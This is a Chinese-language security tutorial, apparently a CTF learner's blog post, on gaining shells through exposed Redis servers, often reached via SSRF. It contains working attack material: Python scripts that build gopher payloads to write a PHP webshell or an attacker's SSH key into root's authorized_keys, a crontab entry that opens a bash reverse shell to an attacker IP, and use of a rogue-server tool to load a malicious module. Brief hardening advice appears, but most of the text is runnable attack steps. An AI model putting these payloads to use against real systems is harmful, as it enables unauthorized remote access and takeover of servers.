前言
一直以来对redis都没有怎么研究过,这段时间做了一下网鼎杯玄武组的SSRF ME这道题感觉学习了很多同时也深感自己水平之低,所以就趁热打铁研究一下redis的一些getshell
redis的getshell基本上都是因为未授权访问或者弱口令等导致的。
由于redis服务很多时候都是处于内网之中所以在实战中常常会将redis和ssrf漏洞联系起来
因此在讲到redis getshell的时候不可避免的会经常提及到ssrf
前置知识-RESP协议
CRLF(简单介绍)
参考文章:https://www.jianshu.com/p/1c4b722623b8,https://www.jianshu.com/p/daa3cb672470
RESP协议是redis服务之间数据传输的通信协议,redis客户端和redis服务端之间通信会采取RESP协议,所以在研究getshell之前我们得先知道数据结构是如何的,这样后期才知道如何进行数据的伪造
RESP协议传输过程中判断数据类型是通过首字节来判断的,主要为以下这几类
- Simple Strings
首字节为+ 后面紧跟字符串 例:+OK
-
error
首字节为- 后面跟报错信息 例:-ERR unknown command 'foobar'
-
Integer
首字节为: 后面跟整型数据
-
Bulk Strings
首字节为$ Bulk Strings是一个安全的二进制结构,由两部分组成,第一部分表示有几个字符$3,第二部分则是字符串部分
-
Array
首字节为* Array就是数组也是由两部分组成,第一部分表示数组有几个元素 *3 ,第二部分则是元素的具体的值
为了比较直观的来看,我们这里抓包一下看看redis在传输过程中的数据是怎么样的
1.利用tcpdump命令进行流量监听我们的6379端口
tcpdump -i lo port 6379 -w ./test.pcap
-w 会将抓到的数据保存为 test.pcap 这样wireshark打开就非常直观了
-i 要抓的网卡(这里我的redis搭建在本地,lo则正好是本地,根据环境自己进行修改即可)
2.进入redis,执行 set name KpLi0rn
,此时执行完成之后可以看到tcpdump那边会监听到流量ctrl+c结束,然后将我们保存好的包用wireshark打开看看
主要是红框部分的Data,Data就是redis传输的数据
按照如下步骤可以将hex -> text
看到的结果就是我们的RESP协议了
*3:数组有三个元素分别是 set , name ,KpLi0rn
下面这个则是Bulks String结构
$3
set
+OK:这个是redis服务器对redis客户端的响应
RESP协议每一行都会以CRLF来进行结尾(回车,换行)这一点从之前的图片中可以很清晰的看出(%0d 回车 %0a 换行),这里我理解为协议的格式,每个以首字节开头的字符串都会以CRLF来进行结尾(例:+OK\r\n),从下图就能很清晰的看出
所以通过上面的例子我们可以发现RESP协议的格式是很易懂,同时也是很容易进行伪造的,放一个后面伪造好的例子,红框是我们伪造成resp协议类型的payload,下面是收到的格式(转化脚本在下文)
前置知识-Gopher协议/Dict协议
长亭的这篇文章写的非常好:https://blog.chaitin.cn/gopher-attack-surfaces/
Gopher协议和dict协议是在SSRF漏洞中经常会使用到的,同样的在redis getshell当中也会经常使用到
Gopher 协议:在 HTTP 协议出现之前,是 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面 (个人觉得当作http来看待就行了)
Dict协议:dict是基于查询响应的TCP协议,在实际过程中和gopher协议效果相似但是会有一些区别
- Gopher传输
利用nc 和 curl 来进行一个小实验
nc -lvvp 4444
curl "gopher://127.0.0.1:4444/test"
我们来看看监听到的信息是什么
我们可以看到我们的信息是test但是最终接受到的是est,所以可以发现gopher协议在传输过程中第一个字符是会被吞掉的,所以我们在传输过程中第一个字符改成没有用的字符就可以了类似_
,可以看到这样就正常了
- dict协议
dict协议和gopher协议最大的区别就是 dict一次只能一句,因为dict协议传输数据之后会自动加一个QUIT ,同时dict的第一个字符不会被吞
nc -lvvp 4444
curl "dict://127.0.0.1:4444/test"
如图可以看到dict中第一个字符不会被吞,但是结尾会带一个QUIT
两张图放在一起对比一下:
这样对比就很明显了
Redis 安装
下载redis的安装包
wget http://download.redis.io/releases/redis-5.0.0.tar.gz
解压
tar -zxvf redis-5.0.0.tar.gz
进入文件夹执行make
make之后截图如下:
修改配置文件 redis.conf
bind 0.0.0.0 (改成0.0.0.0才使得别的主机可以连接,否则只能本地登陆redis服务)
Protected-mode no (如果开启则会禁止公网访问redis)
然后进入src文件夹
执行 ./redis-server ../redis.conf
然后我们的服务就启动了
漏洞成因
redis漏洞的主要成因就是未授权访问,弱口令,以及不正确的配置bind导致别人可以直接连接服务
主要问题都是redis.conf的不正确配置和高权限运行redis服务
- redis.conf的不正确配置
下图是一个redis.conf
中间两个最主要的是
Bind 和 protected-mode
- bind : 这个就是redis绑定的地址,意思就是允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登陆)如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆
-
Protected-mode : 这个功能是自redis 3.2之后设置的保护模式,默认为yes,其作用就是如果redis服务没有设置密码并且没有配置bind则会只允许redis服务本机进行连接
- 使用root权限运行了redis服务
现在redis服务启动默认是redis,所以我们写的shell权限也是很低的
可以看到我们的shell 权限是 644 权限非常低
防范措施:设置高强度密码,将bind修改为内网的地址或127.0.0.1
redis getshell四种方法
- 绝对路径写shell,将shell写在web目录下
-
redis公钥导入
- 利用定时任务进行反弹shell(centos)
- redis 主从复制getshell
绝对路径写shell
参考文章:https://xz.aliyun.com/t/5665#toc-4
这个方法和sql注入中利用日志写shell感觉有一点点相似
此方法可以结合ssrf漏洞或redis服务没有做好安全措施导致可以远程连接
条件
- root权限启动redis服务
- 需要知道目标的web目录绝对路径
实验环境
ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129
漏洞复现
首先kali下利用redis进行连接
./redis-cli -h 192.168.189.208
如下图,连接成功
接下来进行写shell
flushall
set 1 '<?php phpinfo(); ?>'
config set dir '/var/www/html'
config set dbfilename test.php
save
可以看到ubuntu下的/var文件夹成功被写入
在实战使用的时候,通常是利用redis和ssrf漏洞进行结合,将shell写到对应的web目录下
这时候就需要借助gopher协议来帮助我们完成
这里需要用到一个转化脚本将我们的代码转化成RESP格式
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://" # 使用的协议
ip="192.168.189.208"
port="6379" # 目标redis的端口号
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php" # shell的名字
path="/var" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
Python2 进行执行
复制输出的结果
在kali中运行如下代码
看到5个ok(这里我们的命令有5条,所以会有5个OK),说明恶意代码已经执行成功了 去ubuntu发现果然写进去了
那么在遇到SSRF漏洞的时候,由于SSRF漏洞可以请求内网的服务,所以我们可以首先进行一个全端口扫描,如果发现了redis服务,利用gopher协议打过去就可以了
?url=gopher://0.0.0.0:6379/_xxxxxxxxxxxxxx
生成的shell权限都是644,mac本地模拟了一下,可以连上就是权限太低辣,后续需要提权
Redis主从复制getshell
文章参考:https://www.cnblogs.com/iamver/p/11171922.html
实验环境:ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129
影响版本
redis 4.x 5.x
主从复制介绍
参考文章:https://www.freebuf.com/vuls/224235.html,https://paper.seebug.org/975/
redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担。所以redis采用了主从模式来缓解。主从模式就是让一个redis作为主机,另外的redis作为从机(可以理解为备份机),然后主机和从机中的数据是完全一样的。然后主机负责写,从机负责读。通过读写分离还缓解服务端上的流量压力
漏洞成因
在redis 4.x 之后新增了模块功能,可以允许我们引入外部拓展文件来实现新的redis命令,所以这个漏洞引入了恶意的外部拓展文件而导致的
漏洞复现
下载我们的payload:https://github.com/n0b0dyCN/redis-rogue-server
利用这个payload进行反弹shell
然后执行命令 python3 redis-rogue-server.py --rhost= ubuntu的ip --lhost= kali 攻击机的ip --exp=exp.so
(在复现过程中第一次会报错,但是再次执行payload就好了)
当出来这个问句的时候 kali另起一个终端 nc -lvvp 4444
进行一个监听
成功反弹shell 并且执行了命令
redis 写入ssh公钥
条件
- 目标主机开通了ssh服务
- root权限启动了redis服务
原理
通过向受害机写入ssh公钥,然后利用本地的私钥进行ssh登陆这样就不需要密码了
当以root身份运行redis服务的时候,可以通过redis命令给root用户写入ssh公钥
大致思路如下:kali创建一对rsa公钥和私钥,利用gopher协议让redis执行命令将ssh公钥写入root用户(写入到/.ssh文件夹),然后ssh -i利用本地私钥直接进行免密码登陆
实验环境
ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129
漏洞复现
kali下执行 ssh-keygen -t rsa
这里我由于之前已经创建过了所以才会提示是否overwrite
这样的话我们的密钥对就在我们的 /root/.ssh下了
查看我们的id_rsa.pub,复制到我们的脚本payload中
转化的python脚本如下
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
python2 redis.py
获得运行结果,然后 curl ,可以看到有5个OK说明代码顺利执行了
然后回到 /root/.ssh 文件夹下,用里面的私钥通过ssh直接进行登陆
crontab 定时任务反弹shell (仅限centos)
条件
- root权限启动redis服务
- 目标系统为centos
原理
将redis中的dbfile 目录改为centos中定时任务的目录(/var/spool/cron),然后在redis中执行 反弹shell的命令,这样redis就会将数据存在dbfile中,同时又在定时任务的目录下,所以centos就把这个文件当作定时任务来执行了
由于redis输出的文件都是644权限,但是ubuntu中的定时任务一定要600权限才能实现所以这个方法只适用于centos
实验环境
Redhat (靶机),macOS 10.15(攻击机)
漏洞复现
首先以root权限启动我们的redis服务器(如果redis不是root启动的话我们是无法修改目录路径的):
执行命令
config set dir /var/spool/cron
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.8/4444 0>&1\n\n" # 这是一个每分钟执行一次的定时任务
config set dbfilename root
save
mac下执行监听 nc -lvvp 4444
,等待一分钟过后即可
评论